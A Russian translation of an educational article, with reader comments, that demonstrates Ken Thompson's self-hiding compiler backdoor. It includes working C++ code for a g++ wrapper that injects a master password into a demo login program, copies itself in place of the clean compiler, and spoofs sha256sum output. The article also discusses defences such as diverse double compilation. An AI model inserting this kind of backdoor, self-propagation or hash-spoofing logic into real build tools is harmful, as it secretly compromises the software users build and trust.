А вы знали, что бывает такая атака на компилятор через бэкдор, защититься от которой невозможно? В этом посте я покажу вам, как реализовать такую атаку менее чем в 100 строках кода. Кен Томпсон, создатель операционной системы Unix, рассказывал о такой атаке еще в 1984 году в своей лекции по поводу присуждения Премии Тьюринга. Такая атака по-настоящему опасна и сегодня, причем, не известно решений, которые обеспечивали бы полную неуязвимость от нее. Вирус  XcodeGhost, открытый в 2015 году, проводит атаку через бэкдор по методу, предложенному именно Томпсоном. Я покажу здесь атаку Томпсона на языке   C++, но этот пример легко адаптировать для любого другого языка. Дочитав эту статью, вы крепко задумаетесь, а осталось ли у вас вообще какое-то доверие компилятору.


Представляю, сколь скептически вы можете отнестись к моим заявлениям – и, возможно, у вас уже возникли вопросы. Ниже приведу примерный диалог, который мог бы состояться у нас с вами, снять некоторые ваши сомнения и помочь вам почувствовать суть атаки Томпсона.

Я: Откуда вам знать, что ваш компилятор честно компилирует ваш код, не врезая в него никаких бэкдоров?

Вы: Исходный код компилятора обычно свободно распространяется, поэтому кто-нибудь да заметит зловредные компиляторы , врезающие бэкдоры – и сообщит об этом.

Я: Но в конце концов исходный код вашего доверенного компилятора придется собирать при помощи другого компилятора, B. Откуда вам знать, что B не врезает бэкдоры в ваш компилятор прямо в ходе компиляции?

Вы: Думаю, нужно проверить и исходный код компилятора B. Хммм… на самом деле, проверка исходного кода B приведет нас к той же проблеме, поскольку мне придется доверять всему тому, что компилирует B. Может быть, я смог бы дизассемблировать скомпилированный исполняемый файл и проверить, не добавлены ли в него бэкдоры.

Я: Но дизассемблер – это тоже отдельная программа, которую в конечном итоге придется компилировать, поэтому возможно, что бэкдоры будут врезаны в дизассемблер. Взломанный дизассемблер может сам решить, что нужно спрятать бэкдоры в дизассемблируемую программу.

Вы: Какова же вероятность, что такое произойдет? Злоумышленнику придется собрать мой компилятор, а затем при помощи именно этой программы скомпилировать мой дизассемблер.

Я: Деннис Ричи, создавший язык программирования C, заручился поддержкой Кена Томпсона, и вместе они создали Unix (написанный на C). Поэтому, если вы работаете с Unix, то вся ваша операционная система и инструментарий командной строки уязвимы перед атакой Томпсона.

Вы: Пожалуй, очень сложно собрать такой зловредный компилятор, поэтому, надеюсь, подобная атака маловероятна.

Я:  На самом деле, реализовать его очень легко. Покажу вам, как это делается менее чем в 100 строках кода.

Демо

Если хотите увидеть атаку Томпсона в действии, клонируйте этот репозиторий и выполните следующие шаги:

  1. Сначала убедитесь, что простая программа Login.cpp program принимает только пароль “test123”

  2. При помощи зловредного компилятора скомпилируйте программу Login вот так: ./Compiler Login.cpp -o Login

  3. Запустите программу входа в систему при помощи ./Login, а затем введите пароль «backdoor». В результате вы должны успешно залогиниться.

Бдительный читатель подумает, что лучше сначала прочесть и перекомпилировать исходный код компилятора, а только потом использовать. Попробуйте сделать следующее и убедитесь, что пароль «backdoor» все так же работает.

  1. Убедитесь, что код Compiler.cpp чист (не волнуйтесь, это просто 10-строчная обертка вокруг g++)

  2. Перекомпилируйте компилятор из исходников при помощи ./Compiler Compiler.cpp -o cleanCompiler

  3. При помощи чистого компилятора скомпилируйте программу Login вот так ./cleanCompiler Login.cpp -o Login

  4. Запустите программу входа в систему при помощи ./Login и убедитесь, что пароль «backdoor» по-прежнему работает.

Рассмотрим другие шаги, которые также потребуется выполнить, чтобы создать такой зловредный компилятор и скрыть его темные делишки.

1. Создаем чистый компилятор

Поскольку написать собственный компилятор с нуля – это еще не значит продемонстрировать атаку Томпсона, наш «компилятор» будет представлять собой обычную обертку над g++, как показано ниже.

// Compiler.cpp

#include <string>
#include <cstdlib> 

using namespace std;

int main(int argc, char *argv[]) {
    string allArgs = "";
    for(int i=1; i<argc; i++)
        allArgs += " " + string(argv[i]);
    string shellCommand = "g++" + allArgs;
    system(shellCommand.c_str());
}

Можно сгенерировать двоичный код нашего компилятора, выполнив g++ Compiler.cpp -o Compiler, в результате чего у нас получится исполняемый файл “Compiler”. Ниже в качестве примера приведена наша программа  Login, позволяющая войти в систему с правами администратора, если ввести правильный пароль «test123». Позже мы встроим в эту программу бэкдоры, так, что она станет принимать и пароль «бэкдор».

// Login.cpp

#include <iostream>

using namespace std;

int main() {
    cout << "Enter password:" << endl;
    string enteredPassword;
    cin >> enteredPassword;
    if(enteredPassword == "test123")    
        cout << "Successfully logged in as root" << endl;
    else
        cout << "Wrong password, try again." << endl;
}

Можно воспользоваться нашим честным компилятором, чтобы скомпилировать и выполнить программу Login при помощи ./Compiler Login.cpp -o Login && ./Login.

Обратите внимание: наш компилятор может скомпилировать
свой собственный исходный код при помощи./Compiler Compiler.cpp -o newCompiler, так как компилятор C++ сам написан на C++. Так обеспечивается самодостаточность
компилятора (self-hosting), то есть, новые версии нашего компилятора
компилируются при помощи более ранних релизов. Это очень распространенная практика:
и в Python, и в C++, и в Java компиляторы обладают самодостаточностью.
Самодостаточность будет принципиальна в шаге 3, когда мы будем прятать наш
зловредный компилятор.

2. Внедрение бэкдоров

Теперь сделаем так, чтобы наш компилятор внедрил в программу Login бэкдор, через который любой желающий может зайти в нее с паролем «бэкдор». Чтобы этого добиться, наш компилятор должен будет сделать следующее, как только от него потребуют скомпилировать Login.cpp:

  1. Скопировать Login.cpp во временный файл LoginWithBackdoor.cpp

  2. Изменить LoginWithBackdoor.cpp так, чтобы он стал принимать и пароль «backdoor»; это делается при помощи операции «найти и заменить», изменяющей if-условие, проверяющее пароль

  3. Скомпилировать LoginWithBackdoor.cpp вместо Login.cpp

  4. Удалить файл LoginWithBackdoor.cpp

Вот исходный код зловредного компилятора, выполняющий эти четыре шага – можете его пропустить, если в общих чертах поняли, как он устроен.

// EvilCompiler.cpp

#include <string>
#include <cstdlib> 
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>

using namespace std;

// Поиск по файлу и замена всех включений regexPattern на `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
    ifstream fileInputStream(fileName);
    stringstream fileContents;
    fileContents << fileInputStream.rdbuf();
    string modifiedSource = regex_replace(fileContents.str(), regex(regexPattern), newText);
    ofstream fileOutputStream(fileName);
    fileOutputStream << modifiedSource;
    fileOutputStream.close();
}

void compileLoginWithBackdoor(string allArgs) {
    system("cat Login.cpp > LoginWithBackdoor.cpp");
    findAndReplace(
        "LoginWithBackdoor.cpp",
        "enteredPassword == \"test123\"",
        "enteredPassword == \"test123\" || enteredPassword == \"backdoor\""
    );
    string modifiedCommand = "g++ " + regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp");
    system(modifiedCommand.c_str());
    remove("LoginWithBackdoor.cpp");
}

int main(int argc, char *argv[]) {
    string allArgs = "";
    for(int i=1; i<argc; i++)
        allArgs += " " + string(argv[i]);
    string shellCommand = "g++" + allArgs;
    string fileName = string(argv[1]);
    if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else
        system(shellCommand.c_str());
}

Хотя исходный код программы Login и принимает только пароль “test123”, скомпилированный исполняемый файл будет дополнительно принимать пароль «backdoor», если собрать ее при помощи зловредного компилятора.

> g++ EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Возможно, вы уже заметили, что сорвать атаку через бэкдор легко, достаточно переименовать Login.cpp. Но зловредный компилятор с тем же успехом может решить врезать бэкдоры, основываясь не на именах файлов, а на их содержимом.

Никто на самом деле не станет пользоваться нашим
зловредным компилятором, поскольку любой может прочитать исходный код – и
обязательно заметит, какие фокусы в нем творятся. Чтобы справиться с этой
проблемой, давайте воспользуемся самодостаточностью и скроем, как бэкдор
внедряется в компилятор.

3. Сокрытие инъекции бэкдора

Можно изменить наш компилятор EvilCompiler.cpp так, чтобы он клонировал себя всякий раз, когда от него требуют скомпилировать наш чистый компилятор Compiler.cpp из шага 1. Затем можно раздать двоичный файл EvilCompiler (конечно же, переименованный) как первый релиз нашего самодостаточного компилятора и заявить, что Compiler.cpp – это его исходный код. В таком случае под нашу атаку подставится кто угодно, использующий наш компилятор, даже если они предварительно убедились, что перед началом использования наш компилятор был чист. Даже если человек скачал бы исходный код чистого Compiler.cpp и сам скомпилировал его при помощи EvilCompiler, то сгенерированный исполняемый файл был бы просто копией EvilCompiler. На следующей схеме обрисовано, как с глаз долой спрятаны наш зловредный компилятор и встраиваемые им бэкдоры.

Ниже подсвечены изменения, которые нужно внести, чтобы зловредный компилятор сам себя клонировал. Можете пропустить детали реализации, если идея понятна вам в общем виде.

// EvilCompiler.cpp

...

void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
    string myName = string(argv[0]);
    string cloneName = "a.out";
    for(int i=0; i<argc; i++)
        if(string(argv[i]) == "-o" && i < argc - 1) {
            cloneName = argv[i+1];
            break;
        }
    string cloneCmd = "cp " + myName + " " + cloneName;                          
    system(cloneCmd.c_str());
}

int main(int argc, char *argv[]) {
    ...
    if(fileName == "Compiler.cpp")
        cloneMyselfInsteadOfCompiling(argc, argv);
    else if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else
        system(shellCommand.c_str());
}

Исходный код как в Compiler.cpp так и в Login.cpp совершенно чисты, но скомпилированный двоичный файл Login все равно будет с бэкдором, даже если компилятор, которым вы воспользовались, был заново собран из чистых исходников.

> g++ EvilCompiler.cpp -o FirstCompilerRelease
> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler
> ./cleanCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Если проверить исходный код компилятора или программы Login, пользователя это не защитит, поскольку рано или поздно придется положиться на имеющийся исполняемый файл компилятора (или запрограммировать его с нуля в двоичном коде, чем никто заниматься не будет). Но возможно, что бдительный пользователь заподозрит неладное, проделав перекрестную проверку хеша исполняемого файла Login (сравнив его с ожидаемым значением). Далее изменим наш зловредный компилятор, чтобы еще лучше замести следы: внедрим бэкдор в интерфейс командной строки, делающий хеш.

4. Продолжаем ускользать от обнаружения

Чаще всего целостность программы проверяют так: берут ее хеш SHA-256 и удостоверяются, что он совпадает с ожидаемым значением, полученным от доверенного органа. Но не забывайте: та программа, при помощи которой мы вычисляем SHA-256, может быть с бэкдором, показывающим пользователю то, что он хочет видеть. Иными словами, возможно, что наша хеш-утилита снабжена бэкдором, который прячет бэкдоры, врезанные в других исполняемых файлах. Если такой пример кажется вам натянутым – напомню, что gcc (самый популярный компилятор C) и sha256 оба компилируются при помощи gcc. Поэтому определенно может быть так, что gcc встраивает бэкдоры в другие программы, а потом ставит бэкдор в sha256, чтобы замести следы. Просто в качестве иллюстрации: давайте изменим наш зловредный компилятор так, чтобы он внедрял бэкдор в инструмент sha256sum, и этот инструмент всегда возвращал правильное значение для нашей программы Login. Также проигнорируем тот факт, что в реальности это было бы сложнее сделать, поскольку нельзя жестко забить в программу ожидаемый хеш; ведь двоичный файл Login может измениться при обновлении версий.

Вот чистая версия нашего sha256sum, который просто вызывает существующую реализацию CLI:

// sha256sum.cpp

#include <string>

using namespace std;

int main(int argc, char* argv[]) {
    if(argc >= 2) {
        string fileName = argv[1];
        string computeHashCmd = "sha256sum " + fileName;
        system(computeHashCmd.c_str());
    }
}

Теперь изменим наш зловредный компилятор так, чтобы он встраивал бэкдор в sha256sum во время компиляции.

// EvilCompiler.cpp

...

void compileSha256WithBackdoor(string allArgs) {
    system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
    findAndReplace(
        "sha256sumWithBackdoor.cpp",
        "string computeHashCmd .*;",
        "string computeHashCmd = fileName == \"Login\" ? \
            \"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237  Login'\" \
          : \
            \"sha256sum \" + fileName; \
        "
    );
    string modifiedCommand = "g++ " + regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp");
    system(modifiedCommand.c_str());
    remove("sha256sumWithBackdoor.cpp"); 
}

...

int main(int argc, char *argv[]) {

    ...

    if(fileName == "Compiler.cpp")
        cloneMyselfInsteadOfCompiling(argc, argv);
    else if(fileName == "Login.cpp")
        compileLoginWithBackdoor(allArgs);
    else if(fileName == "sha256sum.cpp")
        compileSha256WithBackdoor(allArgs); 
    else
        system(shellCommand.c_str());
}

Теперь, даже если пользователь решит проверить SHA-256 скомпрометированного исполняемого файла Login при помощи нашей реализации хеша, ему покажется, что все чисто. Посмотрите приведенный ниже SHA-256 чистого двоичного файла Login (первый), который дает то же значение, что и наш инструмент, а далее скомпрометированный двоичный файл Login (второй).

> g++ Login.cpp -o Login          # Собираем нормальный чистый бинарник Login 
> sha256sum Login 
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login
> rm Login
> ./Compiler Login.cpp -o Login   # Собираем скомпрометированный бинарник Login
> ./Compiler sha256sum.cpp -o sha256sum
> ./sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9  Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>

Таким же способом можно прятать бэкдоры в дизассемблере или в любом другом инструменте верификации.

Усвоенные уроки

Невозможно было поверить в то, что рассказывал лауреат Томпсон в своей лекции. Всего за несколько минут он неиллюзорно продемонстрировал аудитории, что можно засунуть незаметный бэкдор в ту самую программу, которую он сейчас собрал у всех на глазах. Поэтому из речи Томпсона следует два вывода:

В самом деле, нельзя доверять никакому коду, который не написали от начала и до конца вы сами. Никакой верификации на уровне исходников, никакой въедливой проверки не хватит, чтобы защититься от недоверенного кода.

Это касается всех транзитивных зависимостей, компиляторов, операционных систем и любых других программ, выполняющихся на вашем процессоре. Атака Томпсона демонстрирует, что нельзя полностью доверять программе, даже если мы сами полностью перекомпилируем и эту программу, и операционную систему, и весь наш инструментарий – из совершенно чистого исходного кода. 100%-ю безопасность можно лишь в случае, если сам перепишешь все в двоичном коде на уровне компилятора и еще ниже. А даже если вы возьметесь за такую задачу, то единственным, кто сможет доверять такому переписанному коду, будете вы сами.

Чем ниже мы опускаемся в создании программы, тем сложнее и сложнее будет обнаруживать такие «врезанные бэкдоры».

Вы могли бы с легкостью выявить простейшие инъекции бэкдоров, описанные в этом посте, воспользовавшись дизассемблером или реальной утилитой sha256sum, а не скомпрометированной. Обнаружить наш зловредный компилятор (написанный на C++) относительно легко, поскольку он не очень широко применяется и поэтому не может повлиять на верификационные инструменты, которые прятали бы его вмешательства. К сожалению, обнаруживать атаку Томпсона становится сложнее, если зловредный компилятор широко распределен, либо, если атакуемые слои программы находятся гораздо ниже, чем работает компилятор. Представьте, каково будет попытаться обнаружить встраивание бэкдоров у вас в ассемблере, который занимается компиляцией инструкций сборки в машинный код. Злоумышленник также может создать зловредный линковщик, который внедряет бэкдоры в ходе того, как он же сплетает объектные файлы и их символы. Было бы крайне сложно обнаружить такой зловредный ассемблер или линковщик. Самое плохое в данном случае, что зловредный ассемблер/линковщик потенциально может повлиять на множество компиляторов, поскольку многие компиляторы, вероятно, используют одни и те же компоненты.


Выводы получаются пугающими, и, вероятно, у вас возникает вопрос: что же делать, чтобы от всего этого защититься. Как ни жаль, не существует решений, которые обеспечивали бы полную защиту, но достойные контрмеры предпринять можно. Наиболее известной защитной мерой такого рода является диверсифицированная двойная компиляция (DDC), предложенная Дэвидом Уилером в 2009 году. Кратко: DDC использует различные компиляторы, написанные на одном языке, чтобы протестировать целостность выбранного компилятора. Чтобы пройти этот тест, атакующий должен был бы заранее изменить все выбранные компиляторы, получая из них воспроизводимые сборки, которые бы вставляли бэкдоры друг в друга. Это уже серьезный кусок работы. DDC – хорошая идея, но у нее даже навскидку сразу просматриваются 2 недостатка. Во-первых, DDC требует, чтобы у всех выбранных компиляторов были воспроизводимые сборки, а это значит, что из данного исходного кода компилятор всегда генерирует один и тот же компилятор всегда будет создавать один и тот же исполняемый файл. Воспроизводимые сборки не слишком распространены, поскольку по умолчанию компиляторы включают в свои сборки такие вещи, как метки времени и уникальные ID. Второй недостаток заключается в том, что DDC теряет эффективность на тех языках, где существуют лишь считанные компиляторы. А к совсем новым языкам, например, Rust, DDC вообще неприменима, так как компилятор там всего один. Резюмируя: DDC – не панацея, а проблема с атакой Томпсона по-прежнему считается открытой.

Поэтому еще раз спрошу: а вы до сих пор доверяете вашему компилятору?

Комментарии (24)


  1. saipr
    18.04.2022 12:34
    +7

    В самом деле, нельзя доверять никакому коду, который не написали от начала и до конца вы сами. Никакой верификации на уровне исходников, никакой въедливой проверки не хватит, чтобы защититься от недоверенного кода.

    Осталось отправить этот материал регуляторам, которые отвечают за сертификацию программного обеспечения по требованиям безопасности информации (ФСТЭК, ФСБ, МО) и ждать их реакции.
    А серьёзно, речь как шла так и идёт о степени доверия разработчику и контролирующему звену. И не важно что это компилятор или бытовой утюг.


    1. MUTbKA98
      18.04.2022 12:58
      +12

      Не надо останавливаться на полпути. Что толку писать весь cофтварный код с нуля, если и драйвера OS, и контроллер HDD, и всякие отдельные модули в компе, и микрокод процессора, и вообще архитектура всех чипов не в нашей власти?

      Только логарифмические линейки спасут нацию.


      1. AVX
        18.04.2022 13:13
        +4

        Только логарифмические линейки спасут нацию.

        сначала надо спасти эти линейки. Их не так много, и ещё меньше людей, которые знают что это и умеют пользоваться.


        1. Mingun
          18.04.2022 17:54
          +9

          Риски на линейках тоже кто-то рисовал. Кто эти люди? Не ошиблись ли они на полмиллиметра в одном важном числе?


          1. alxt
            19.04.2022 10:01
            +2

            Байку про рулетку все ж помнят?

            PS: https://tibedox.ru/best/tyoshcha-i-ruletka


  1. Elbbazer
    18.04.2022 13:00
    +6

    Была похожая атака в 2009. Вирус патчил SysConst.dcu из Delphi, заражая в итоге все скомпилированные файлы. Так был заражен QIP у многих его пользователей, из за компрометации разработчика.


    1. nev3rfail
      19.04.2022 07:34
      +1

      Помню такой. Induc.A назывался. Меня тоже заразило, и я даже поучаствовал в распространении — я заразился, кажется, от AIMP и затем передал нескольким людям, в т.ч разрабам на дефльи, свои собственные зараженные бинари, созданные уже моим компилятором.

      Насколько я помню, это был как раз чей-то эксперимент, чтоб показать насколько уязвимы компиляторы, и сам вирус ничего полезного (кросе распространения) не делал.


      1. DrMefistO
        19.04.2022 20:08

        Помню, была какая-то нужная мне софтина, которую я нашёл в единственном экземпляре в интернете, и она оказалась заражена индюком (антивирус ругнулся). Но нужность была превыше, поэтому мне ничего не оставалось кроме как запустить её на своей тачанке. О виртуалках я тогда не знал.


        1. nibb13
          20.04.2022 22:42

          Во времена до виртуалок у меня для намеренного запуска малвари был dual-boot с изолированными разделами.


  1. amarao
    18.04.2022 13:27
    +15

    А я олдфаг и использовал md5 для чексуммы. Хорошо, пропатчим md5. Но как же быть с hexdump'ом? Давайте пропатчим hexdump. А если я открою файл в hexedit? Давайте, пропатчим hexedit. А если я сделаю на питоне простейшую программу для hexdump'а файла? Мы не можем патчить программы на питоне, чтобы исправить поведение (потому что это задача об остановке) или питон (т.к. это будет та же задача об остановке, предсказать, что сделает программа). Мы можем попатчить libc, чтобы она отдавала изменённую версию при чтении.

    Но если кто-то сделает dd |python -c myhexdump, то нам нужно будет попатчить её и dd, таким образом, чтобы она скрывала данные при прямом чтении с диска. Но это потребует одновременной поддержки всех файловых систем (файл на vfat будет сильно отличаться от файла в btrfs). Но мы можем отправить файл компилятора в сокет/пайп и он либо будет патчиться (на чистый), либо не будет. Если будет, то простой cat suspicios_compiler > compiler даст нам чистый компилятор.

    Если не будет, то cat suspicios_comipler|hexdump даст нам содержимое. Файл может быть отправлен по любому сетевому протоколу и просмотрен tcpdump (и он либо патченный обратно, т.е. чистый, либо с бэкдором).

    Т.е. вся модель "evil chain" начинает непрерывно разветляться на новые и новые "if", и чем больше if'ов, тем больше возникает if'ов. Ни какой сверхумный код не может сказать, что сделает мой двухстрочник на перле, а значит, невозможно сделать осмысленный патчинг (для скрытия или, наоборот, для внедрения).

    Как только появляется механизм скрытия, то он же может использоваться для получения чистой копии компилятора. Как только появляется метод инъекции, он может использоваться для обнаружения инъекции через несовпадение, потому что анализ производит чистый код на некомпилируемом языке.

    Фактически, это инверсия задачи futamura projections, только вместо "некачественного" компилятора у нас появляется зловредный.


    1. speshuric
      18.04.2022 18:34
      +1

      А еще для мало-мальски реального случая придётся скрываться от IDE, профайлеров и отладки.


  1. kovserg
    18.04.2022 13:43
    +5

    Надо идти дальше: Как можно доверять процессору, который собрали не вы?


    1. Format-X22
      18.04.2022 17:13
      +11

      Как можно доверять себе если вас родили не вы?


      1. kovserg
        18.04.2022 17:18
        +7

        Никак нельзя:

        Мужик стирает свои штаны:
        -Никому верить нельзя… Никому… Даже себе… А ведь только чихуть хотел.


  1. medvedd
    18.04.2022 14:18

    В художественной форме опасения про безопасность на хардверном уровне изложены в книге Winn

    Schwatau "Terminal Compromise"

    https://www.amazon.com/gp/product/0962870005/

    https://www.gutenberg.org/ebooks/79


  1. Travisw
    18.04.2022 16:02

    По теме скажу лишь, что кто первый начал разработку таких систем с поддержкой кучи программ, софта и тулзов тот и выиграет у какого-нибудь стартапа полугодовой давности на с++. А так это проблема первого компилятора - кто первый его напечатал и внедрил бэкдор в него, тот и поставил весь мир разработки враскаряку


  1. vep
    18.04.2022 18:17

    А если получить дамп программы с бэкдором (зловредная дампилка должна скрыть присутствие), затем распечатать его и на другом компьютере с другой архитектурой, другой ОС, другим процессором, перенести дамп обратно в бинарный файл. Он очистится после такой процедуры?


    1. dmitryvolochaev
      19.04.2022 00:04

      В эпоху MS DOS были вирусы, которые встраивались в исполняемые файлы и скрывали свое присутствие. Их удавалось удалить даже без второго компа. Достаточно было скопировать зараженный файл во что-то, что вирус не считал исполняемым и потому не заражал. Потом переименовываешь файл обратно в исполняемый. Переименование вирус не обрабатывал. В более тяжелом случае можно было бы для переименования загрузиться с чистой дискеты

      Вирусы, заражавшие исходники, тоже были. В общем, всё уже придумано до нас


  1. Aleksandr-JS-Developer
    18.04.2022 20:35
    +1

    Да, а потом вы увидите, что "print(123)" весит как Фотошоп и тут закрадуться подозрения...


    1. TheCalligrapher
      19.04.2022 03:18
      +7

      ... как закрадываеться лишний мягкий знак в глагол на -тся...


  1. AMDmi3
    19.04.2022 01:44

    Неплохая демонстрация, но недостаточно исследована тема защиты от этой атаки, и нагнано желтизны. Есть, например, проект gnu mes, который позволяет бутстрапнуть систему с нуля из исходников, вообще не прибегая к недоверенным бинарникам. А чтобы обнаружить evil цепочку в открытой экосистеме, например дебиана, достаточно одной проверки.


  1. Gordon01
    19.04.2022 09:34
    -4

    Представляете, до сих пор есть люди, считающие что электронное голосование — хорошая идея.


    1. toxicdream
      19.04.2022 12:10
      +1

      У меня, и уверен не только у меня, есть мысли как доказать что электронное голосование - хорошая идея. Но все зависит от головы которая может видеть с экрана одно, а говорить совсем другое.

      Проблема электронного голосования не в электронности, а в избиркоме людях.


  1. Soukhinov
    19.04.2022 20:14

    Можно незаметно для себя совершить атаку Томпсона (именно совершить, а не подвергнуться ей) следующим способом:

    Пишем свой компилятор языка C. В какой-то момент нам нужно написать код для парсинга строковых литералов (в частности, экранированных символов). У нас в коде компилятора появляется что-то типа:

    if(curChar=='\\' && nextChar=='n') literal.append('\n');

    Обратная косая черта и буква «n» в тексте литерала приводят к тому, что в буфер памяти для этого литерала добавляется символ '\n'.

    Теперь зададим себе вопрос: а где в исходнике компилятора у нас записан код для символа '\n'? Нигде. Мы скопировали код этого символа из бинарника того компилятора, которым мы компилируем наш компилятор, в бинарник нашего компилятора (в частности, компилятор может компилировать сам себя). Мы незаметно для себя вызвали функцию cloneMyselfInsteadOfCompiling(), упомянутую с статье. Чисто гипотетически, можно представить себе, что '\n' — это вирус (или уязвимость), и он только что передался от компилятора к компилятору через компиляцию исходного кода. (С практической точки зрения можно представить, что функция append() имеет два перегруженных варианта — вариант, принимающий символ и вариант, принимающий строку, и компилирующий компилятор парсит литерал '\n' в строку "матерноеСлово\13". Пользователь такого компилятора будет удивляться, откуда у него матерноеСлово в откомпилированной программе).